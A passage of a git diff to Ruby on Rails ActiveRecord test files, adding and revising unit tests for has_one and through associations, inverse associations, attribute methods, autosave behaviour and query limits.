index 0e48fbca9c..a4650ccdf2 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -22,6 +22,13 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
end
+ def test_has_one_does_not_use_order_by
+ ActiveRecord::SQLCounter.clear_log
+ companies(:first_firm).account
+ ensure
+ assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, 'ORDER BY was used in the query'
+ end
+
def test_has_one_cache_nils
firm = companies(:another_firm)
assert_queries(1) { assert_nil firm.account }
@@ -158,22 +165,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_nothing_raised { firm.destroy }
end
- def test_restrict
- firm = RestrictedFirm.create!(:name => 'restrict')
- firm.create_account(:credit_limit => 10)
-
- assert_not_nil firm.account
-
- assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
- assert RestrictedFirm.exists?(:name => 'restrict')
- assert firm.account.present?
- end
-
- def test_restrict_is_deprecated
- klass = Class.new(ActiveRecord::Base)
- assert_deprecated { klass.has_one :post, dependent: :restrict }
- end
-
def test_restrict_with_exception
firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
firm.create_account(:credit_limit => 10)
@@ -521,21 +512,66 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_no_queries { company.account = nil }
account = Account.find(2)
assert_queries { company.account = account }
+
+ assert_no_queries { Firm.new.account = account }
end
- def test_has_one_assignment_triggers_save_on_change
+ def test_has_one_assignment_dont_trigger_save_on_change_of_same_object
pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
ship = pirate.build_ship(name: 'old name')
ship.save!
ship.name = 'new name'
assert ship.changed?
+ assert_queries(1) do
+ # One query for updating name, not triggering query for updating pirate_id
+ pirate.ship = ship
+ end
+
+ assert_equal 'new name', pirate.ship.reload.name
+ end
+
+ def test_has_one_assignment_triggers_save_on_change_on_replacing_object
+ pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ ship = pirate.build_ship(name: 'old name')
+ ship.save!
+
+ new_ship = Ship.create(name: 'new name')
assert_queries(2) do
# One query for updating name and second query for updating pirate_id
- pirate.ship = ship
+ pirate.ship = new_ship
end
assert_equal 'new name', pirate.ship.reload.name
end
+ def test_has_one_autosave_with_primary_key_manually_set
+ post = Post.create(id: 1234, title: "Some title", body: 'Some content')
+ author = Author.new(id: 33, name: 'Hank Moody')
+
+ author.post = post
+ author.save
+ author.reload
+
+ assert_not_nil author.post
+ assert_equal author.post, post
+ end
+
+ def test_has_one_relationship_cannot_have_a_counter_cache
+ assert_raise(ArgumentError) do
+ Class.new(ActiveRecord::Base) do
+ has_one :thing, counter_cache: true
+ end
+ end
+ end
+
+ test 'dangerous association name raises ArgumentError' do
+ [:errors, 'errors', :save, 'save'].each do |name|
+ assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+ Class.new(ActiveRecord::Base) do
+ has_one name
+ end
+ end
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
index 90c557e886..a2725441b3 100644
--- a/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -191,6 +191,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
end
def test_preloading_has_one_through_on_belongs_to
+ MemberDetail.delete_all
assert_not_nil @member.member_type
@organization = organizations(:nsa)
@member_detail = MemberDetail.new
@@ -201,7 +202,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
end
@new_detail = @member_details[0]
assert @new_detail.send(:association, :member_type).loaded?
- assert_not_nil assert_no_queries { @new_detail.member_type }
+ assert_no_queries { @new_detail.member_type }
end
def test_save_of_record_with_loaded_has_one_through
@@ -314,4 +315,12 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
def test_has_one_through_with_custom_select_on_join_model_default_scope
assert_equal clubs(:boring_club), members(:groucho).selected_club
end
+
+ def test_has_one_through_relationship_cannot_have_a_counter_cache
+ assert_raise(ArgumentError) do
+ Class.new(ActiveRecord::Base) do
+ has_one :thing, through: :other_thing, counter_cache: true
+ end
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
index de47a576c6..b23517b2f9 100644
--- a/activerecord/test/cases/associations/inner_join_association_test.rb
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -41,6 +41,11 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
assert_no_match(/WHERE/i, sql)
end
+ def test_join_association_conditions_support_string_and_arel_expressions
+ assert_equal 0, Author.joins(:welcome_posts_with_one_comment).count
+ assert_equal 1, Author.joins(:welcome_posts_with_comments).count
+ end
+
def test_join_conditions_allow_nil_associations
authors = Author.includes(:essays).where(:essays => {:id => nil})
assert_equal 2, authors.count
@@ -65,7 +70,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
end
def test_find_with_implicit_inner_joins_does_not_set_associations
- authors = Author.joins(:posts).select('authors.*')
+ authors = Author.joins(:posts).select('authors.*').to_a
assert !authors.empty?, "expected authors to be non-empty"
assert authors.all? { |a| !a.instance_variable_defined?(:@posts) }, "expected no authors to have the @posts association loaded"
end
@@ -112,4 +117,13 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
assert_equal [author], Author.where(id: author).joins(:special_categorizations)
end
+
+ test "the default scope of the target is correctly aliased when joining associations" do
+ author = Author.create! name: "Jon"
+ author.categories.create! name: 'Not Special'
+ author.special_categories.create! name: 'Special'
+
+ categories = author.categories.includes(:special_categorizations).references(:special_categorizations).to_a
+ assert_equal 2, categories.size
+ end
end
diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb
index 71cf1237e8..893030345f 100644
--- a/activerecord/test/cases/associations/inverse_associations_test.rb
+++ b/activerecord/test/cases/associations/inverse_associations_test.rb
@@ -9,10 +9,24 @@ require 'models/rating'
require 'models/comment'
require 'models/car'
require 'models/bulb'
+require 'models/mixed_case_monkey'
class AutomaticInverseFindingTests < ActiveRecord::TestCase
fixtures :ratings, :comments, :cars
+ def test_has_one_and_belongs_to_should_find_inverse_automatically_on_multiple_word_name
+ monkey_reflection = MixedCaseMonkey.reflect_on_association(:man)
+ man_reflection = Man.reflect_on_association(:mixed_case_monkey)
+
+ assert_respond_to monkey_reflection, :has_inverse?
+ assert monkey_reflection.has_inverse?, "The monkey reflection should have an inverse"
+ assert_equal man_reflection, monkey_reflection.inverse_of, "The monkey reflection's inverse should be the man reflection"
+
+ assert_respond_to man_reflection, :has_inverse?
+ assert man_reflection.has_inverse?, "The man reflection should have an inverse"
+ assert_equal monkey_reflection, man_reflection.inverse_of, "The man reflection's inverse should be the monkey reflection"
+ end
+
def test_has_one_and_belongs_to_should_find_inverse_automatically
car_reflection = Car.reflect_on_association(:bulb)
bulb_reflection = Bulb.reflect_on_association(:car)
@@ -406,7 +420,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
interest = Interest.create!(man: man)
man.interests.find(interest.id)
- refute man.interests.loaded?
+ assert_not man.interests.loaded?
end
def test_raise_record_not_found_error_when_invalid_ids_are_passed
@@ -432,6 +446,19 @@ class InverseHasManyTests < ActiveRecord::TestCase
def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.secret_interests }
end
+
+ def test_child_instance_should_point_to_parent_without_saving
+ man = Man.new
+ i = Interest.create(:topic => 'Industrial Revolution Re-enactment')
+
+ man.interests << i
+ assert_not_nil i.man
+
+ i.man.name = "Charles"
+ assert_equal i.man.name, man.name
+
+ assert !man.persisted?
+ end
end
class InverseBelongsToTests < ActiveRecord::TestCase
@@ -576,6 +603,18 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
end
+ def test_inversed_instance_should_not_be_reloaded_after_stale_state_changed
+ new_man = Man.new
+ face = Face.new
+ new_man.face = face
+
+ old_inversed_man = face.man
+ new_man.save!
+ new_inversed_man = face.man
+
+ assert_equal old_inversed_man.object_id, new_inversed_man.object_id
+ end
+
def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
i = interests(:llama_wrangling)
m = i.polymorphic_man
diff --git a/activerecord/test/cases/associations/join_dependency_test.rb b/activerecord/test/cases/associations/join_dependency_test.rb
deleted file mode 100644
index 08c166dc33..0000000000
--- a/activerecord/test/cases/associations/join_dependency_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-require 'models/edge'
-
-class JoinDependencyTest < ActiveRecord::TestCase
- def test_column_names_with_alias_handles_nil_primary_key
- assert_equal Edge.column_names, ActiveRecord::Associations::JoinDependency::JoinBase.new(Edge).column_names_with_alias.map(&:first)
- end
-end \ No newline at end of file
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
index e75d43bda8..8ef351cda8 100644
--- a/activerecord/test/cases/associations/nested_through_associations_test.rb
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
@@ -186,7 +186,9 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
members = assert_queries(4) { Member.includes(:organization_member_details_2).to_a.sort_by(&:id) }
groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
- assert_no_queries do
+ # postgresql test if randomly executed then executes "SHOW max_identifier_length". Hence
+ # the need to ignore certain predefined sqls that deal with system calls.
+ assert_no_queries(ignore_none: false) do
assert_equal [groucho_details, other_details], members.first.organization_member_details_2.sort_by(&:id)
end
end
@@ -212,7 +214,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload
- authors = assert_queries(3) { Author.includes(:post_categories).to_a.sort_by(&:id) }
+ authors = assert_queries(4) { Author.includes(:post_categories).to_a.sort_by(&:id) }
general, cooking = categories(:general), categories(:cooking)
assert_no_queries do
@@ -240,7 +242,8 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload
- categories = assert_queries(3) { Category.includes(:post_comments).to_a.sort_by(&:id) }
+ Category.includes(:post_comments).to_a # preheat cache
+ categories = assert_queries(4) { Category.includes(:post_comments).to_a.sort_by(&:id) }
greetings, more = comments(:greetings), comments(:more_greetings)
assert_no_queries do
@@ -268,7 +271,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload
- authors = assert_queries(5) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
+ authors = assert_queries(6) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
greetings, more = comments(:greetings), comments(:more_greetings)
assert_no_queries do
@@ -369,7 +372,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
prev_default_scope = Club.default_scopes
[:includes, :preload, :joins, :eager_load].each do |q|
- Club.default_scopes = [Club.send(q, :category)]
+ Club.default_scopes = [proc { Club.send(q, :category) }]
assert_equal categories(:general), members(:groucho).reload.club_category
end
ensure
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
index c3b728296e..f663b5490c 100644
--- a/activerecord/test/cases/associations_test.rb
+++ b/activerecord/test/cases/associations_test.rb
@@ -255,6 +255,15 @@ class AssociationProxyTest < ActiveRecord::TestCase
assert_equal man, man.interests.where("1=1").first.man
end
end
+
+ def test_reset_unloads_target
+ david = authors(:david)
+ david.posts.reload
+
+ assert david.posts.loaded?
+ david.posts.reset
+ assert !david.posts.loaded?
+ end
end
class OverridingAssociationsTest < ActiveRecord::TestCase
@@ -278,7 +287,7 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
def test_habtm_association_redefinition_callbacks_should_differ_and_not_inherited
# redeclared association on AR descendant should not inherit callbacks from superclass
callbacks = PeopleList.before_add_for_has_and_belongs_to_many
- assert_equal([:enlist], callbacks)
+ assert_equal(1, callbacks.length)
callbacks = DifferentPeopleList.before_add_for_has_and_belongs_to_many
assert_equal([], callbacks)
end
@@ -286,7 +295,7 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
def test_has_many_association_redefinition_callbacks_should_differ_and_not_inherited
# redeclared association on AR descendant should not inherit callbacks from superclass
callbacks = PeopleList.before_add_for_has_many
- assert_equal([:enlist], callbacks)
+ assert_equal(1, callbacks.length)
callbacks = DifferentPeopleList.before_add_for_has_many
assert_equal([], callbacks)
end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
index 8d8ff2f952..c0659fddef 100644
--- a/activerecord/test/cases/attribute_methods/read_test.rb
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -15,13 +15,6 @@ module ActiveRecord
include ActiveRecord::AttributeMethods
- def self.define_attribute_methods
- # Created in the inherited/included hook for "proper" ARs
- @attribute_methods_mutex ||= Mutex.new
-
- super
- end
-
def self.column_names
%w{ one two three }
end
@@ -56,9 +49,9 @@ module ActiveRecord
end
def test_attribute_methods_generated?
- assert(!@klass.attribute_methods_generated?, 'attribute_methods_generated?')
+ assert_not @klass.method_defined?(:one)
@klass.define_attribute_methods
- assert(@klass.attribute_methods_generated?, 'attribute_methods_generated?')
+ assert @klass.method_defined?(:one)
end
end
end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index ee0150558d..38e93288e4 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -22,7 +22,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
@target.table_name = 'topics'
end
- def teardown
+ teardown do
ActiveRecord::Base.send(:attribute_method_matchers).clear
ActiveRecord::Base.send(:attribute_method_matchers).concat(@old_matchers)
end
@@ -32,7 +32,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
- assert_equal '"The First Topic Now Has A Title With\nNewlines And M..."', t.attribute_for_inspect(:title)
+ assert_equal '"The First Topic Now Has A Title With\nNewlines And ..."', t.attribute_for_inspect(:title)
end
def test_attribute_present
@@ -92,7 +92,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
def test_set_attributes_without_hash
topic = Topic.new
- assert_nothing_raised { topic.attributes = '' }
+ assert_raise(ArgumentError) { topic.attributes = '' }
end
def test_integers_as_nil
@@ -288,10 +288,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
def test_read_attribute
topic = Topic.new
topic.title = "Don't change the topic"
- assert_equal "Don't change the topic", topic.send(:read_attribute, "title")
+ assert_equal "Don't change the topic", topic.read_attribute("title")
assert_equal "Don't change the topic", topic["title"]
- assert_equal "Don't change the topic", topic.send(:read_attribute, :title)
+ assert_equal "Don't change the topic", topic.read_attribute(:title)
assert_equal "Don't change the topic", topic[:title]
end
@@ -358,10 +358,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
super(attr_name).upcase
end
- assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, "title")
+ assert_equal "STOP CHANGING THE TOPIC", topic.read_attribute("title")
assert_equal "STOP CHANGING THE TOPIC", topic["title"]
- assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, :title)
+ assert_equal "STOP CHANGING THE TOPIC", topic.read_attribute(:title)
assert_equal "STOP CHANGING THE TOPIC", topic[:title]
end
@@ -555,6 +555,24 @@ class AttributeMethodsTest < ActiveRecord::TestCase
end
end
+ def test_converted_values_are_returned_after_assignment
+ developer = Developer.new(name: 1337, salary: "50000")
+
+ assert_equal "50000", developer.salary_before_type_cast
+ assert_equal 1337, developer.name_before_type_cast
+
+ assert_equal 50000, developer.salary
+ assert_equal "1337", developer.name
+
+ developer.save!
+
+ assert_equal "50000", developer.salary_before_type_cast
+ assert_equal 1337, developer.name_before_type_cast
+
+ assert_equal 50000, developer.salary
+ assert_equal "1337", developer.name
+ end
+
def test_write_nil_to_time_attributes
in_time_zone "Pacific Time (US & Canada)" do
record = @target.new
@@ -728,19 +746,40 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert "unknown attribute: hello", error.message
end
- def test_read_attribute_overwrites_private_method_not_considered_implemented
- # simulate a model with a db column that shares its name an inherited
- # private method (e.g. Object#system)
- #
- Object.class_eval do
- private
- def title; "private!"; end
+ def test_methods_override_in_multi_level_subclass
+ klass = Class.new(Developer) do
+ def name
+ "dev:#{read_attribute(:name)}"
+ end
+ end
+
+ 2.times { klass = Class.new klass }
+ dev = klass.new(name: 'arthurnn')
+ dev.save!
+ assert_equal 'dev:arthurnn', dev.reload.name
+ end
+
+ def test_global_methods_are_overwritten
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'computers'
end
- assert !@target.instance_method_already_implemented?(:title)
- topic = @target.new
- assert_nil topic.title
- Object.send(:undef_method, :title) # remove test method from object
+ assert !klass.instance_method_already_implemented?(:system)
+ computer = klass.new
+ assert_nil computer.system
+ end
+
+ def test_global_methods_are_overwritte_when_subclassing
+ klass = Class.new(ActiveRecord::Base) { self.abstract_class = true }
+
+ subklass = Class.new(klass) do
+ self.table_name = 'computers'
+ end
+
+ assert !klass.instance_method_already_implemented?(:system)
+ assert !subklass.instance_method_already_implemented?(:system)
+ computer = subklass.new
+ assert_nil computer.system
end
def test_instance_method_should_be_defined_on_the_base_class
@@ -759,21 +798,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert subklass.method_defined?(:id), "subklass is missing id method"
end
- def test_dispatching_column_attributes_through_method_missing_deprecated
- Topic.define_attribute_methods
-
- topic = Topic.new(:id => 5)
- topic.id = 5
-
- topic.method(:id).owner.send(:undef_method, :id)
-
- assert_deprecated do
- assert_equal 5, topic.id
- end
- ensure
- Topic.undefine_attribute_methods
- end
-
def test_read_attribute_with_nil_should_not_asplode
assert_equal nil, Topic.new.read_attribute(nil)
end
@@ -782,8 +806,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
# that by defining a 'foo' method in the generated methods module for B.
# (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
def test_inherited_custom_accessors
- klass = Class.new(ActiveRecord::Base) do
- self.table_name = "topics"
+ klass = new_topic_like_ar_class do
self.abstract_class = true
def title; "omg"; end
def title=(val); self.author_name = val; end
@@ -798,8 +821,40 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_equal "lol", topic.author_name
end
+ def test_on_the_fly_super_invokable_generated_attribute_methods_via_method_missing
+ klass = new_topic_like_ar_class do
+ def title
+ super + '!'
+ end
+ end
+
+ real_topic = topics(:first)
+ assert_equal real_topic.title + '!', klass.find(real_topic.id).title
+ end
+
+ def test_on_the_fly_super_invokable_generated_predicate_attribute_methods_via_method_missing
+ klass = new_topic_like_ar_class do
+ def title?
+ !super
+ end
+ end
+
+ real_topic = topics(:first)
+ assert_equal !real_topic.title?, klass.find(real_topic.id).title?
+ end
+
private
+ def new_topic_like_ar_class(&block)
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'topics'
+ class_eval(&block)
+ end
+
+ assert_empty klass.generated_attribute_methods.instance_methods(false)
+ klass
+ end
+
def cached_columns
Topic.columns.map(&:name) - Topic.serialized_attributes.keys
end
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
index 580aa96ecd..f7584c3a51 100644
--- a/activerecord/test/cases/autosave_association_test.rb
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -17,8 +17,35 @@ require 'models/tag'
require 'models/tagging'
require 'models/treasure'
require 'models/eye'
+require 'models/electron'
+require 'models/molecule'
class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
+ def test_autosave_validation
+ person = Class.new(ActiveRecord::Base) {
+ self.table_name = 'people'
+ validate :should_be_cool, :on => :create
+ def self.name; 'Person'; end
+
+ private
+
+ def should_be_cool
+ unless self.first_name == 'cool'
+ errors.add :first_name, "not cool"
+ end
+ end
+ }
+ reference = Class.new(ActiveRecord::Base) {
+ self.table_name = "references"
+ def self.name; 'Reference'; end
+ belongs_to :person, autosave: true, class: person
+ }
+
+ u = person.create!(first_name: 'cool')
+ u.update_attributes!(first_name: 'nah') # still valid because validation only applies on 'create'
+ assert reference.create!(person: u).persisted?
+ end
+
def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
assert_no_difference_when_adding_callbacks_twice_for Pirate, :ship
end
@@ -37,10 +64,6 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
private
- def base
- ActiveRecord::Base
- end
-
def assert_no_difference_when_adding_callbacks_twice_for(model, association_name)
reflection = model.reflect_on_association(association_name)
assert_no_difference "callbacks_for_model(#{model.name}).length" do
@@ -49,9 +72,9 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
end
def callbacks_for_model(model)
- model.instance_variables.grep(/_callbacks$/).map do |ivar|
+ model.instance_variables.grep(/_callbacks$/).flat_map do |ivar|
model.instance_variable_get(ivar)
- end.flatten
+ end
end
end
@@ -343,6 +366,33 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test
end
end
+class TestDefaultAutosaveAssociationOnAHasManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+ def test_invalid_adding_with_nested_attributes
+ molecule = Molecule.new
+ valid_electron = Electron.new(name: 'electron')
+ invalid_electron = Electron.new
+
+ molecule.electrons = [valid_electron, invalid_electron]
+ molecule.save
+
+ assert_not invalid_electron.valid?
+ assert valid_electron.valid?
+ assert_not molecule.persisted?, 'Molecule should not be persisted when its electrons are invalid'
+ end
+
+ def test_valid_adding_with_nested_attributes
+ molecule = Molecule.new
+ valid_electron = Electron.new(name: 'electron')
+
+ molecule.electrons = [valid_electron]
+ molecule.save
+
+ assert valid_electron.valid?
+ assert molecule.persisted?
+ assert_equal 1, molecule.electrons.count
+ end
+end
+
class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
fixtures :companies, :people
@@ -401,7 +451,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
assert_equal new_client, companies(:first_firm).clients_of_firm.last
assert !companies(:first_firm).save
assert !new_client.persisted?
- assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 2, companies(:first_firm).clients_of_firm(true).size
end
def test_adding_before_save
@@ -455,7 +505,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
company.name += '-changed'
assert_queries(2) { assert company.save }
assert new_client.persisted?
- assert_equal 2, company.clients_of_firm(true).size
+ assert_equal 3, company.clients_of_firm(true).size
end
def test_build_many_before_save
@@ -464,7 +514,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
company.name += '-changed'
assert_queries(3) { assert company.save }
- assert_equal 3, company.clients_of_firm(true).size
+ assert_equal 4, company.clients_of_firm(true).size
end
def test_build_via_block_before_save
@@ -475,7 +525,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
company.name += '-changed'
assert_queries(2) { assert company.save }
assert new_client.persisted?
- assert_equal 2, company.clients_of_firm(true).size
+ assert_equal 3, company.clients_of_firm(true).size
end
def test_build_many_via_block_before_save
@@ -488,7 +538,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
company.name += '-changed'
assert_queries(3) { assert company.save }
- assert_equal 3, company.clients_of_firm(true).size
+ assert_equal 4, company.clients_of_firm(true).size
end
def test_replace_on_new_object
@@ -568,12 +618,19 @@ end
class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
self.use_transactional_fixtures = false
- def setup
- super
+ setup do
@pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
@ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
end
+ teardown do
+ # We are running without transactional fixtures and need to cleanup.
+ Bird.delete_all
+ Parrot.delete_all
+ @ship.delete
+ @pirate.delete
+ end
+
# reload
def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
@pirate.mark_for_destruction
@@ -705,6 +762,13 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
ids.each { |id| assert_nil klass.find_by_id(id) }
end
+ def test_should_not_resave_destroyed_association
+ @pirate.birds.create!(name: :parrot)
+ @pirate.birds.first.destroy
+ @pirate.save!
+ assert @pirate.reload.birds.empty?
+ end
+
def test_should_skip_validation_on_has_many_if_marked_for_destruction
2.times { |i| @pirate.birds.create!(:name => "birds_#{i}") }
@@ -1169,15 +1233,15 @@ module AutosaveAssociationOnACollectionAssociationTests
end
def test_should_default_invalid_error_from_i18n
- I18n.backend.store_translations(:en, :activerecord => {:errors => { :models =>
- { @association_name.to_s.singularize.to_sym => { :blank => "cannot be blank" } }
+ I18n.backend.store_translations(:en, activerecord: {errors: { models:
+ { @associated_model_name.to_s.to_sym => { blank: "cannot be blank" } }
}})
- @pirate.send(@association_name).build(:name => '')
+ @pirate.send(@association_name).build(name: '')
assert !@pirate.valid?
assert_equal ["cannot be blank"], @pirate.errors["#{@association_name}.name"]
- assert_equal ["#{@association_name.to_s.titleize} name cannot be blank"], @pirate.errors.full_messages
+ assert_equal ["#{@association_name.to_s.humanize} name cannot be blank"], @pirate.errors.full_messages
assert @pirate.errors[@association_name].empty?
ensure
I18n.backend = I18n::Backend::Simple.new
@@ -1293,6 +1357,7 @@ class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
def setup
super
@association_name = :birds
+ @associated_model_name = :bird
@pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
@child_1 = @pirate.birds.create(:name => 'Posideons Killer')
@@ -1307,12 +1372,30 @@ class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::T
def setup
super
+ @association_name = :autosaved_parrots
+ @associated_model_name = :parrot
+ @habtm = true
+
+ @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ @child_1 = @pirate.parrots.create(name: 'Posideons Killer')
+ @child_2 = @pirate.parrots.create(name: 'Killer bandita Dionne')
+ end
+
+ include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
@association_name = :parrots
+ @associated_model_name = :parrot
@habtm = true
- @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
- @child_1 = @pirate.parrots.create(:name => 'Posideons Killer')
- @child_2 = @pirate.parrots.create(:name => 'Killer bandita Dionne')
+ @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ @child_1 = @pirate.parrots.create(name: 'Posideons Killer')
+ @child_2 = @pirate.parrots.create(name: 'Killer bandita Dionne')
end
include AutosaveAssociationOnACollectionAssociationTests
@@ -1433,10 +1516,6 @@ class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCas
test "should generate validation methods for HABTM associations with :validate => true" do
assert_respond_to @pirate, :validate_associated_records_for_parrots
end
-
- test "should not generate validation methods for HABTM associations without :validate => true" do
- assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrots)
- end
end
class TestAutosaveAssociationWithTouch < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index 395f28f280..2e5b8cffa6 100644
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -1,4 +1,7 @@
+# encoding: utf-8
+
require "cases/helper"
+require 'active_support/concurrency/latch'
require 'models/post'
require 'models/author'
require 'models/topic'
@@ -75,22 +78,6 @@ end
class BasicsTest < ActiveRecord::TestCase
fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
- def setup
- ActiveRecord::Base.time_zone_aware_attributes = false
- ActiveRecord::Base.default_timezone = :local
- Time.zone = nil
- end
-
- def test_generated_methods_modules
- modules = Computer.ancestors
- assert modules.include?(Computer::GeneratedFeatureMethods)
- assert_equal(Computer::GeneratedFeatureMethods, Computer.generated_feature_methods)
- assert(modules.index(Computer.generated_attribute_methods) > modules.index(Computer.generated_feature_methods),
- "generated_attribute_methods must be higher in inheritance hierarchy than generated_feature_methods")
- assert_not_equal Computer.generated_feature_methods, Post.generated_feature_methods
- assert(modules.index(Computer.generated_attribute_methods) < modules.index(ActiveRecord::Base.ancestors[1]))
- end
-
def test_column_names_are_escaped
conn = ActiveRecord::Base.connection
classname = conn.class.name[/[^:]*$/]
@@ -134,6 +121,10 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal 1, Topic.limit(1).to_a.length
end
+ def test_limit_should_take_value_from_latest_limit
+ assert_equal 1, Topic.limit(2).limit(1).to_a.length
+ end
+
def test_invalid_limit
assert_raises(ArgumentError) do
Topic.limit("asdfadf").to_a
@@ -221,7 +212,7 @@ class BasicsTest < ActiveRecord::TestCase
)
# For adapters which support microsecond resolution.
- if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+ if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter) || mysql_56?
assert_equal 11, Topic.find(1).written_on.sec
